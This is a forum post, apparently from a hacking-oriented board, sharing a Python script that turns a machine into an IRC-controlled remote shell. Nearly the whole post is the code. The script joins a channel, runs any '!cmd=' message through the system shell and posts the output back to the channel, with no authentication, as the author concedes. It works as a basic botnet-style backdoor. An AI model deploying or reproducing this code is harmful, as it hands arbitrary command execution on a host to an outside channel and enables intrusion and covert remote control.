[Python][Example]Shell over IRC 11-25-2016, 03:03 AM
#1
(note: do not use this for things that are important as there is no authentication whatsoever )
Backstory:
One day I was in class, I wanted to do this and was bored so I wrote it. The end.
Issues:
Only One Line Output
No Auth.
Backstory:
One day I was in class, I wanted to do this and was bored so I wrote it. The end.
Issues:
Only One Line Output
No Auth.
Code:
import socket
import sys
from subprocess import (PIPE, Popen)
server = "irc.server.net" #server
channel = "#channel" #channel
botnick = "pyShellIRC" #nick to logon with
def runcmd(command):
return Popen(command, stdout=PIPE, shell=True).stdout.read()
#IRC Connections
irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket
print "connecting to:"+server
irc.connect((server, 6667)) #connects to the server
irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :This is a fun bot!\n") #user authentication
irc.send("NICK "+ botnick +"\n") #sets nick
irc.send("PRIVMSG nickserv :iNOOPE\r\n") #auth
irc.send("JOIN "+ channel +"\n") #join the chan
while 1: #puts it in a loop
text=irc.recv(2040) #receive the text
print text #print text to console
if text.find('PING') != -1: #check if 'PING' is found
irc.send('PONG ' + text.split() [1] + '\r\n') #returnes 'PONG' back to the server (prevents pinging out!)
if text.find(':!cmd=') != -1:
c = text.split('=')[1]
cl = c.replace("\r", "")
cmdout = runcmd(str(cl))
cmdend = cmdout.splitlines()
for x in cmdend:
irc.send('PRIVMSG '+channel+' :'+x+' \n')
(This post was last modified: 04-27-2019, 11:03 AM by Blink.)











![[+]](https://sinister.li/images/modern/collapse_collapsed.png)





![[Image: 9H83e18.png]](https://i.imgur.com/9H83e18.png)